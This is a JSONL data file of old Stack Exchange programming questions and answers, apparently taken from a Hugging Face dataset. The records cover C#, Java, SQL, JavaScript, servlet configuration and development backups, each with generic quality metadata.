"url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:02.926551"}
{"id": "hf_3822523e2b1b", "question": "<p>Do you know if I can use Visio to forward-engineer a sequence diagram into code (c#)?</p>\n\n<p>Can it be done with Visio alone or do I need a plugin?</p>\n\n<p>What about other diagrams?</p>\n", "question_body": "", "answer": "To the best of my knowledge, Visio can only forward-engineer code from class models.\nAs sequence diagrams only really show paths of communication between objects, I suspect that they do not contain the necessary information, except perhaps in trivial cases, for generating code.\nObjects with any sort of complex behaviour patterns are likely to involve changing run-time states, of which sequence diagrams aren't really capable of capturing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:02.949635"}
{"id": "hf_9a3afef0a287", "question": "<p>Over the last few months/years, I have shared a folder or two with numerous people on my domain. How do I easily revoke those shares to keep access to my system nice and tidy?</p>\n", "question_body": "", "answer": "On Windows XP, go to:\n```\n```\nAdministrative Tools > Computer Management > System Tools > Shared Folders > Shares\n```\n```\nThis page lists all shares and lets you remove them easily, in one place.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:02.972667"}
{"id": "hf_a052be8aae6c", "question": "<p>Given a URL, what would be the most efficient code to download the contents of that web page? I am only considering the HTML, not associated images, JS and CSS.</p>\n", "question_body": "", "answer": "System.Net.WebClient\nFrom MSDN:\n```\n```\nusing System;\nusing System.Net;\nusing System.IO;\n\npublic class Test\n{\n    public static void Main (string[] args)\n    {\n        if (args == null || args.Length == 0)\n        {\n            throw new ApplicationException (\"Specify the URI of the resource to retrieve.\");\n        }\n        WebClient client = new WebClient ();\n\n        // Add a user agent header in case the \n        // requested URI contains a query.\n\n        client.Headers.Add (\"user-agent\", \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.0.3705;)\");\n\n        Stream data = client.OpenRead (args[0]);\n        StreamReader reader = new StreamReader (data);\n        string s = reader.ReadToEnd ();\n        Console.WriteLine (s);\n        data.Close ();\n        reader.Close ();\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:02.995460"}
{"id": "hf_e606d075c4b3", "question": "<p>What JavaScript keywords (function names, variables, etc) are reserved?</p>\n", "question_body": "", "answer": "We should be linking to the actual sources of info, rather than just the top google hit.\nhttp://developer.mozilla.org/En/Core_JavaScript_1.5_Reference/Reserved_Words\nJScript 8.0:\nhttp://msdn.microsoft.com/en-us/library/ttyab5c8.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:03.019486"}
{"id": "hf_e94fe1a95d3a", "question": "<p>I want to be able to play sound files in my program. Where should I look?</p>\n", "question_body": "", "answer": "A bad example:\n```\n```\nimport  sun.audio.*;    //import the sun.audio package\nimport  java.io.*;\n\n//** add this into your application code as appropriate\n// Open an input stream  to the audio file.\nInputStream in = new FileInputStream(Filename);\n\n// Create an AudioStream object from the input stream.\nAudioStream as = new AudioStream(in);         \n\n// Use the static class member \"player\" from class AudioPlayer to play\n// clip.\nAudioPlayer.player.start(as);            \n\n// Similarly, to stop the audio.\nAudioPlayer.player.stop(as);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:03.066646"}
{"id": "hf_2f95c2a282c8", "question": "<p>C#: What is a good Regex to parse hyperlinks and their description?</p>\n\n<p>Please consider case insensitivity, white-space and use of single quotes (instead of double quotes) around the HREF tag.</p>\n\n<p>Please also consider obtaining hyperlinks which have other tags within the <code>&lt;a&gt;</code> tags such as <code>&lt;b&gt;</code> and <code>&lt;i&gt;</code>.\n­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­</p>\n", "question_body": "", "answer": "I found this\nbut apparently\nthese guys\nhad some problems with it.\nEdit:\n(It works!)\nI have now done my own testing and found that it works, I don't know C# so I can't give you a C# answer but I do know PHP and here's the matches array I got back from running it on this:\n```\n```\n<a href=\"pages/index.php\" title=\"the title\">Text</a>\n\narray(3) { [0]=> string(52) \"Text\" [1]=> string(15) \"pages/index.php\" [2]=> string(4) \"Text\" }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:03.089430"}
{"id": "hf_b6c504b4d6b2", "question": "<p>I've found <a href=\"http://blogs.msdn.com/priozersk/archive/2007/08/06/implementing-mvc-pattern-in-net-cf-applications-part-1.aspx\" rel=\"noreferrer\">an article</a> on this subject by a Microsoft employee, but has anyone implemented a more robust framework for this? Is there a lightweight framework for WinForms that could be ported easily? I'd like to get up to speed fairly quickly and avoid producing a framework/library of my own to handle this when someone smarter has already done this. </p>\n\n<p>I haven't looked at the <a href=\"http://msdn.microsoft.com/en-us/library/aa480471.aspx\" rel=\"noreferrer\">Mobile Software Factory</a> from the P&amp;P group, but I suspect it's kind of heavy. Is it worth a look?</p>\n\n<p><strong>Edit: I'm not looking for information on the ASP.NET MVC project. I'm asking about the compact framework 'WinForms' implementation, and how to implement MVC with that.</strong></p>\n", "question_body": "", "answer": "Edit: The above posters are correct.  I saw MVC and immediately thought of web forms.  My apologies.  Feel free to disregard this.  I'll leave my original message in place just in case anyone who\nis\ninterested in web forms MVC needs the links. :-)\nThere are a couple MVC frameworks out there, neither of which are very \"lightweight\", but MVC is a pretty big shift away from web forms so that is expected:\nASP.NET MVC\n- This is Microsoft's attempt at an MVC framework.  It is still in preview mode so use it at your own discretion, but several people are already using it in their production applications.  You will find ample documentation on this with a simple Google search as it is becoming very popular amongst the .NET crowd.\nCastle MonoRail\n- The MonoRail framework is an open-source MVC framework that has been around for quite some time and is in use on several production applications.  It is definitely more flushed out than the ASP.NET MVC framework, but considering the amount of effort Microsoft is throwing at their MVC offering, I think will change relatively soon.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:03.124495"}
{"id": "hf_c30b52dab6cc", "question": "<p>Do you know where I could find some useful third party (free) code snippets for VS 2008?</p>\n", "question_body": "", "answer": "http://gotcodesnippets.com/\nhttp://www.codekeep.net/\nhas a VS add-in for their snippets, too", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:03.205118"}
{"id": "hf_184bb110cd4f", "question": "<p>Is there any way to save an object using Hibernate if there is already an object using that identifier loaded into the session?</p>\n\n<ul>\n<li>Doing <code>session.contains(obj)</code> seems to only return true if the session contains that exact object, not another object with the same ID.</li>\n<li>Using <code>merge(obj)</code> throws an exception if the object is new</li>\n</ul>\n", "question_body": "", "answer": "Have you tried calling .SaveOrUpdateCopy()? \nIt should work in all instances, if there is an entity by the same id in the session or if there is no entity at all. This is basically the catch-all method, as it converts a transient object into a persistent one (Save), updates the object if it is existing (Update) or even handles if the entity is a copy of an already existing object (Copy).\nFailing that, you may have to identify and .Evict() the existing object before Attaching (.Update()) your \"new\" object.\nThis should be easy enough to do:\n```\n```\nIPersistable entity = Whatever(); // This is the object we're trying to update\n// (IPersistable has an id field)\nsession.Evict(session.Get(entity.GetType(), entity.Id));\nsession.SaveOrUpdate(entity);\n```\n```\nAlthough the above code could probably do with some null checking for the .Get() call.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:03.239659"}
{"id": "hf_eb89200bb0b0", "question": "<p>Do you use Design by Contract professionally? Is it something you have to do from the beginning of a project, or can you change gears and start to incorporate it into your software development lifecycle? What have you found to be the pros/cons of the design approach?</p>\n\n<p>I came across the <a href=\"http://en.wikipedia.org/wiki/Design_by_contract\" rel=\"noreferrer\">Design by Contract</a> approach in a grad school course. In the academic setting, it seemed to be a pretty useful technique. But I don't currently use Design by Contract professionally, and I don't know any other developers that are using it. It would be good to hear about its actual usage from the SO crowd.</p>\n", "question_body": "", "answer": "I can't recommend it highly enough.  It's particularly nice if you have a suite that takes inline documentation contract specifications, like so:\n```\n```\n// @returns null iff x = 0\npublic foo(int x) {\n  ...\n}\n```\n```\nand turns them into generated unit tests, like so:\n```\n```\npublic test_foo_returns_null_iff_x_equals_0() {\n  assertNull foo(0);\n}\n```\n```\nThat way, you can actually see the tests you're running, but they're auto-generated.  Generated tests shouldn't be checked into source control, by the way.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:03.274774"}
{"id": "hf_26002fe0f767", "question": "<p>I have a ComboBox that I bind to a standard HTTPService, I would like to add an event listener so that I can run some code after the ComboBox is populated from the data provider.</p>\n\n<p>How can I do this?</p>\n", "question_body": "", "answer": "You can use\n```\nBindingUtils\n```\nto get notified when the\n```\ndataProvider\n```\nproperty of the combo box changes:\n```\n```\nBindingUtils.bindSetter(comboBoxDataProviderChanged, comboBox, \"dataProvider\");\n```\n```\n```\nBindingUtils\n```\nlives in the\n```\nmx.binding.utils\n```\npackage.\nI have a longer description of how to work with\n```\nBindingUtils\n```\nhere:\nDoes painless programmatic data binding exist?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:03.333328"}
{"id": "hf_9c1ce4622626", "question": "<p>I have a habit of keeping my variable usage to a bare minimum.  So I'm wondering if there is any advantage to be gained by the following:</p>\n\n<pre><code>$query = $mysqli-&gt;query('SELECT * FROM `people` ORDER BY `name` ASC LIMIT 0,30');\n\n// Example 1\n$query = $query-&gt;fetch_assoc();\n\n// Example 2\n$query_r = $query-&gt;fetch_assoc();\n$query-&gt;free();\n</code></pre>\n\n<p>Now if I'm right Example 1 should be more efficient as <code>$query</code> is <code>unset</code> when I reassign it  which should free any memory associated with it. However there is a method (<code>MySQLi_Result::free()</code>) which frees associated memory - is this the same thing?</p>\n\n<p>If I don't call <code>::free()</code> to free any memory associated with the result but <code>unset</code> it by reassigning the variable am I doing the same thing? I don't know how to log this sort of thing - does anyone have some ideas?</p>\n", "question_body": "", "answer": "The\nmanual\nseems to suggest that you should still be using\n```\nfree()\n```\nto release the memory. I believe the reasoning is that\n```\nfree()\n```\nis freeing the memory in\nMySQL\n, not in PHP. Since PHP can't garbage-collect for MySQL, you need to call\n```\nfree()\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:03.357779"}
{"id": "hf_c619e9df65c2", "question": "<p>My coworker and I have encountered a nasty situation where we have to use an active X control to manipulate a web camera on a page. </p>\n\n<p>Is it possible to assign a javascript event handler to a button in the active x control so that it would fire an action on the page when clicked, or do we have to create a button on the html page itself that manipulates the Active X Control and then can fire any necessary actions on the page?</p>\n", "question_body": "", "answer": "Yes! You can throw events in C++/ActiveX land which makes the JavaScript code run an event handler function. I was even able to make an entire invisible ActiveX control (same color as page background) with no buttons or visual feedback that did all of its GUI work through JavaScript and CSS.\nedit: Frank's advice is right on.\nHere's the link on scripting events.\nMy strategy was to call a C++ function called MyUpdate (which implements IConnectionPoint) when I wanted to force updates in the browser.\n(Also, I made sure to pump Windows messages in the Fire_MyUpdate method because sometimes JavaScript code would call back into C++ land by calling methods on the ActiveX control; this avoids freezing up the browser and ensures that the JavaScript GUI stays responsive, e.g. for a Cancel button.)\nOn the browser side, the JavaScript code has the global variable referencing the object, followed by \"::\", followed by the method name:\n```\n```\nfunction Uploader::MyUpdate()\n{\n    // ... code to fetch the current state of various\n    // properties from the Uploader object and do something with it\n    // for example check Uploader.IsActive and show or hide an HTML div\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:03.392622"}
{"id": "hf_252832183e84", "question": "<p>Let's say that you want to create a dead simple BlogEditor and, one of your ideas, is to do what Live Writer does and ask only the URL of the persons Blog. How can you detect what type of blog is it?</p>\n\n<p>Basic detection can be done with the URL itself, such as “<a href=\"http://myblog.blogger.com\" rel=\"nofollow noreferrer\">http://myblog.blogger.com</a>” etc. But what if it's self hosted?</p>\n\n<p>I'm mostly interested on how to do this in Java, but this question could be also used as a reference for any other language.</p>\n", "question_body": "", "answer": "Some blogs provide a Generator meta tag - e.g. Wordpress - you could find out if there's any exceptions to this.\nYou'll have to be careful how you detect it though, Google surprised me with this line:\n```\n```\n<meta content='blogger' name='generator'/>\n```\n```\nSingle quotes are blasphemy.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:03.415748"}
{"id": "hf_4162245df241", "question": "<p>I need to pass an ID and a password to a batch file at the time of running rather than hardcoding them into the file.</p>\n\n<p>Here's what the command line looks like:</p>\n\n<pre><code>test.cmd admin P@55w0rd &gt; test-log.txt\n</code></pre>\n", "question_body": "", "answer": "Yep, and just don't forget to use variables like\n```\n%%1\n```\nwhen using\n```\nif\n```\nand\n```\nfor\n```\nand the gang.\nIf you forget the double\n```\n%\n```\n, then you will be substituting in (possibly null) command line arguments and you will receive some pretty confusing error messages.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:03.439316"}
{"id": "hf_13305f10abd2", "question": "<p>What are the advantages and disadvantages of turning <strong><code>NOCOUNT</code></strong> off in SQL server queries?\n­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­</p>\n", "question_body": "", "answer": "From SQL BOL:\nSET NOCOUNT ON prevents the sending of\n  DONE_IN_PROC messages to the client\n  for each statement in a stored\n  procedure. For stored procedures that\n  contain several statements that do not\n  return much actual data,\nsetting SET\n  NOCOUNT to ON can provide a\n  significant performance boost\n, because\n  network traffic is greatly reduced.\nSee\nhttp://msdn.microsoft.com/en-us/library/ms189837.aspx\nfor more details.\nAlso, this article on SQLServerCentral is great on this subject:\nPerformance Effects of NOCOUNT", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:03.462592"}
{"id": "hf_e00c45578af6", "question": "<p>I know there are a lot of positive things mod-rewrite accomplishes. But are there any negative? Obviously if you have poorly written rules your going to have problems.  But what if you have a high volume site and your constantly using mod-rewrite, is it going to have a significant impact on performance? I did a quick search for some benchmarks on Google and didn't find much. </p>\n", "question_body": "", "answer": "I've used mod_rewrite on sites that get millions/hits/month without any significant performance issues. You do have to know which rewrites get applied first depending on your rules.\nUsing mod_rewrite is most likely faster than parsing the URL with your current language.\nIf you are really worried about performance, don't use\n```\n.htaccess\n```\nfiles, those are slow. Put all your rewrite rules in your Apache config, which is only read once on startup.\n```\n.htaccess\n```\nfiles get re-parsed on every request, along with\nevery\n```\n.htaccess\n```\nfile in parent folders.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:03.486399"}
{"id": "hf_79b2c04c834d", "question": "<p>What libraries/methods do you know of that can do some basic HTML representation in Swing? Can you comment on your experience?</p>\n", "question_body": "", "answer": "I haven't tried this in a while, but a quick google search shows some possibilities:\nJava Sketchbook: The HTML Renderer Shootout, Part 1\nCobra: Java HTML Renderer & Parser\nAre you trying to do this in an applet, or an application?  If it's an application (or signed applet) you could potentially instantiate IE or Firefox within your application.\nWebrenderer\nacts as a Swing wrapper for this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:03.536240"}
{"id": "hf_74f701309b42", "question": "<p>Is there any difference between:</p>\n\n<pre><code>if foo is None: pass\n</code></pre>\n\n<p>and</p>\n\n<pre><code>if foo == None: pass\n</code></pre>\n\n<p>The convention that I've seen in most Python code (and the code I myself write) is the former, but I recently came across code which uses the latter.  None is an instance (and the only instance, IIRC) of NoneType, so it shouldn't matter, right?  Are there any circumstances in which it might?</p>\n", "question_body": "", "answer": "```\nis\n```\nalways returns\n```\nTrue\n```\nif it compares the same object instance\nWhereas\n```\n==\n```\nis ultimately determined by the\n```\n__eq__()\n```\nmethod\ni.e.\n```\n```\n>>> class Foo(object):\n       def __eq__(self, other):\n           return True\n\n>>> f = Foo()\n>>> f == None\nTrue\n>>> f is None\nFalse\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:03.565622"}
{"id": "hf_a690f191ed54", "question": "<p>In my web app, I submit some form fields with jQuery's <code>$.getJSON()</code> method. I am having some problems with the encoding. The character-set of my app is <code>charset=ISO-8859-1</code>, but I think these fields are submitted with <code>UTF-8</code>. </p>\n\n<p>How I can set encoding used in <code>$.getJSON</code> calls? </p>\n", "question_body": "", "answer": "I think that you'll probably have to use\n```\n$.ajax()\n```\nif you want to change the encoding, see the\n```\ncontentType\n```\nparam below (the\n```\nsuccess\n```\nand\n```\nerror\n```\ncallbacks assume you have\n```\n<div id=\"success\"></div>\n```\nand\n```\n<div id=\"error\"></div>\n```\nin the html):\n```\n```\n$.ajax({\n    type: \"POST\",\n    url: \"SomePage.aspx/GetSomeObjects\",\n    contentType: \"application/json; charset=utf-8\",\n    dataType: \"json\",\n    data: \"{id: '\" + someId + \"'}\",\n    success: function(json) {\n        $(\"#success\").html(\"json.length=\" + json.length);\n        itemAddCallback(json);\n    },\n    error: function (xhr, textStatus, errorThrown) {\n        $(\"#error\").html(xhr.responseText);\n    }\n});\n```\n```\nI actually just had to do this about an hour ago, what a coincidence!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:03.592410"}
{"id": "hf_22ad87705f77", "question": "<p>Is there a way to make a TSQL variable constant?</p>\n", "question_body": "", "answer": "There are no such thing as \"creating a constant\" in database literature. Constants exist as they are and often called values. One can declare a variable and assign a value (constant) to it. From a scholastic view:\n```\n```\nDECLARE @two INT\nSET @two = 2\n```\n```\nHere @two is a variable and 2 is a value/constant.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:03.627219"}
{"id": "hf_28545cd53c50", "question": "<p>I found <a href=\"https://stackoverflow.com/questions/2056/what-are-mvp-and-mvc-and-what-is-the-difference\">What are mvp and mvc and what is the difference</a> but it didn't really answer this question.</p>\n\n<p>I've recently started using MVC because it's part of the framework that myself and my work-partner are going to use. We chose it because it looked easy and separated process from display, are there advantages besides this that we don't know about and could be missing out on?</p>\n\n<p><strong>Pros</strong></p>\n\n<ol>\n<li>Display and Processing are seperated</li>\n</ol>\n\n<p><br />\n<strong>Cons</strong></p>\n\n<ol>\n<li>None so far</li>\n</ol>\n", "question_body": "", "answer": "MVC is the separation of\nm\nodel,\nv\niew and\nc\nontroller — nothing more, nothing less. It's simply a paradigm; an ideal that you should have in the back of your mind when designing classes. Avoid mixing code from the three categories into one class.\nFor example, while a table grid\nview\nshould obviously present data once shown, it should not have code on where to retrieve the data from, or what its native structure (the\nmodel\n) is like. Likewise, while it may have a function to sum up a column, the actual summing is supposed to happen in the\ncontroller\n.\nA 'save file' dialog (\nview\n) ultimately passes the path, once picked by the user, on to the\ncontroller\n, which then asks the\nmodel\nfor the data, and does the actual saving.\nThis separation of responsibilities allows flexibility down the road. For example, because the view doesn't care about the underlying model, supporting multiple file formats is easier: just add a model subclass for each.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:03.672913"}
{"id": "hf_191de8489ce8", "question": "<p>How does the new Microsoft asp.net mvc implementation handle partitioning your application - for example:</p>\n\n<pre><code>--index.aspx\n--about.aspx\n--contact.aspx\n--/feature1\n--/feature1/subfeature/action\n--/feature2/subfeature/action\n</code></pre>\n\n<p>I guess what I am trying to say is that it seems everything has to go into the root of the views/controllers folders which could get unwieldy when working on a project that if built with web forms might have lots and lots of folders and sub-folders to partition the application.</p>\n\n<p>I think I get the MVC model and I like the look of it compared to web forms but still getting my head round how you would build a large project in practice.</p>\n", "question_body": "", "answer": "There isn't any issues with organizing your controllers.  You just need to setup the routes to take the organization into consideration.  The problem you will run into is finding the view for the controller, since you changed the convention.  There isn't any built in functionality for it yet, but it is easy to create a work around yourself with a ActionFilterAttribute and a custom view locator that inherits off ViewLocator.  Then when creating your controller, you just specify what ViewLocator to use, so the controller knows how to find the view.  I can post some code if needed.\nThis method kind of goes along with some advice I gave another person for separating their views out for a portal using ASP.NET MVC.  Here is the\nlink to the question\nas a reference.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:03.730580"}
{"id": "hf_2cc99b04caad", "question": "<p>When creating scrollable user controls with .NET and WinForms I have repeatedly encountered situations where, for example, a vertical scrollbar pops up, overlapping the control's content, causing a horizontal scrollbar to also be needed.  Ideally the content would shrink just a bit to make room for the vertical scrollbar.</p>\n\n<p>My current solution has been to just keep my controls out of the far right 40 pixels or so that the vertical scroll-bar will be taking up.  Since this is still effectively client space for the control, the horizontal scroll-bar still comes up when it gets covered by the vertical scroll-bar, even though no controls are being hidden at all.  But then at least the user doesn't actually need to <strong>use</strong> the horizontal scrollbar that comes up.</p>\n\n<p>Is there a better way to make this all work?  Some way to keep the unneeded and unwanted scrollbars from showing up at all?</p>\n", "question_body": "", "answer": "If your controls are inside a panel, try setting the AutoScroll property of the Panel to False.  This will hide the scrollbars.  I hope this points you in the right direction.\n```\n```\nmyPanel.AutoScroll = False\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:03.765119"}
{"id": "hf_320937182f90", "question": "<pre><code>&lt;servlet&gt;\n    &lt;servlet-name&gt;myservlet&lt;/servlet-name&gt;\n    &lt;servlet-class&gt;workflow.WDispatcher&lt;/servlet-class&gt;\n    &lt;load-on-startup&gt;2&lt;/load-on-startup&gt;\n&lt;/servlet&gt;\n\n&lt;servlet-mapping&gt;\n    &lt;servlet-name&gt;myservlet&lt;/servlet-name&gt;\n    &lt;url-pattern&gt;*NEXTEVENT*&lt;/url-pattern&gt;\n&lt;/servlet-mapping&gt;\n</code></pre>\n\n<p>Above is the snippet from Tomcat's <code>web.xml</code>. The URL pattern <code>*NEXTEVENT*</code> on start up throws</p>\n\n<blockquote>\n  <p>java.lang.IllegalArgumentException: Invalid &lt;url-pattern> in servlet mapping</p>\n</blockquote>\n\n<p>It will be greatly appreciated if someone can hint at the error.\n­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­</p>\n", "question_body": "", "answer": "```\n```\n<url-pattern>*NEXTEVENT*</url-pattern>\n```\n```\nThe URL pattern is not valid. It can either end in an asterisk or start with one (to denote a file extension mapping).\nThe url-pattern specification:\nA string beginning with a ‘/’ character and ending with a ‘/*’\n  suffix is used for path mapping.\nA string beginning with a ‘*.’ prefix is used as an extension\n  mapping.\nA string containing only the ’/’ character indicates the \"default\"\n  servlet of the application. In this\n  case the servlet path is the request\n  URI minus the context path and the\n  path info is null.\nAll other strings are used for exact matches only.\nSee section 12.2 of the\nJava Servlet Specification\nVersion 3.1 for more details.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:03.788445"}
{"id": "hf_4663559c9c9c", "question": "<p>Using reflection, how can I get all types that implement an interface with C# 3.0/.NET 3.5 with the least code, and minimizing iterations?</p>\n\n<p>This is what I want to re-write:</p>\n\n<pre><code>foreach (Type t in this.GetType().Assembly.GetTypes())\n    if (t is IMyInterface)\n        ; //do stuff\n</code></pre>\n", "question_body": "", "answer": "loop through all loaded assemblies, loop through all their types, and check if they implement the interface.\nsomething like:\n```\n```\nType ti = typeof(IYourInterface);\nforeach (Assembly asm in AppDomain.CurrentDomain.GetAssemblies()) {\n    foreach (Type t in asm.GetTypes()) {\n        if (ti.IsAssignableFrom(t)) {\n            // here's your type in t\n        }\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:03.812618"}
{"id": "hf_14a60366567b", "question": "<p>I have some strings of xxh:yym format where xx is hours and yy is minutes like \"05h:30m\". What is an elegant way to convert a string of this type to TimeSpan?</p>\n", "question_body": "", "answer": "This seems to work, though it is a bit hackish:\n```\n```\nTimeSpan span;\n\nif (TimeSpan.TryParse(\"05h:30m\".Replace(\"m\",\"\").Replace(\"h\",\"\"), out span))\n            MessageBox.Show(span.ToString());\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:03.859691"}
{"id": "hf_92954eb02614", "question": "<p>How do you back up your development machine so that in the event of a catastrophic hardware malfunction, you are up and running in the least amount of time possible?</p>\n", "question_body": "", "answer": "All important files are in version control (Subversion)\nMy subversion layout generally matches the file layout on my web server so I can just do a checkout and all of my library files and things are in the correct places.\nTwice-daily backups to an external hard drive\nNightly rsync backups to a remote server.\nThis means that I send stuff on my home server over to my webhost and all files & databases on my webhost back home so I'm not screwed if I lose either my house or my webhost.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:03.929718"}
